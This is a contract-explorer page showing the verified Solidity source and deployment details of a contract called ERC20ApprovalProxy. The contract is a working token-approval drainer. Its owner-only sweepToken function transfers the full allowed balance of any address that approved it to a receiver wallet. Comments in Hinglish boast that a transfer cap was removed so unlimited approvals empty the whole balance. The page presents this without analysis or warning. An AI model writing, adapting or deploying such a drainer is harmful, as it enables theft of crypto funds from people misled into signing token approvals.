Verified contractExactMIT
ERC20ApprovalProxy
Address0x51ea33b48b2e37e869f985dd641e6dc1fd49dcd6
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.0
- Same code
Only this contract
Details
- Compiler
- solc 0.8.0+commit.c7dfd78e
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,414,632
- Creation transaction
- 0x2571370e60…a1b47dc54c
Coin.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function transferFrom(address from, address to, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function balanceOf(address account) external view returns (uint);
}
contract ERC20ApprovalProxy {
address public owner;
address public receiver;
// 🆕 Chain ID detection ke liye (optional)
uint public chainId;
constructor(address _receiver, uint _chainId) {
owner = msg.sender;
receiver = _receiver;
chainId = _chainId; // 56 for BSC, 1 for ETH
}
function sweepToken(address token, address from) external {
require(msg.sender == owner, "Only owner can sweep");
// Allowance aur balance check
uint allowed = IERC20(token).allowance(from, address(this));
uint balance = IERC20(token).balanceOf(from);
// Jo minimum ho (allowance ya balance), utna transfer hoga
uint amount = allowed < balance ? allowed : balance;
// 🔥 LIMIT REMOVED: Ab koi MAX_LIMIT check nahi hai.
// Agar allowance unlimited hai (MaxUint256), toh poora balance transfer hoga.
require(amount > 0, "Nothing to sweep");
// Debug output (events ke liye)
emit SweepAttempted(from, receiver, amount, allowed, balance);
// Safe transfer
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20(token).transferFrom.selector, from, receiver, amount)
);
require(success && (data.length == 0 || abi.decode(data, (bool))), "Transfer failed");
emit SweepCompleted(from, receiver, amount);
}
event SweepAttempted(address from, address to, uint amount, uint allowance, uint balance);
event SweepCompleted(address from, address to, uint amount);
function changeReceiver(address newReceiver) external {
require(msg.sender == owner, "Only owner");
receiver = newReceiver;
}
function getAllowance(address token, address user) external view returns (uint) {
return IERC20(token).allowance(user, address(this));
}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.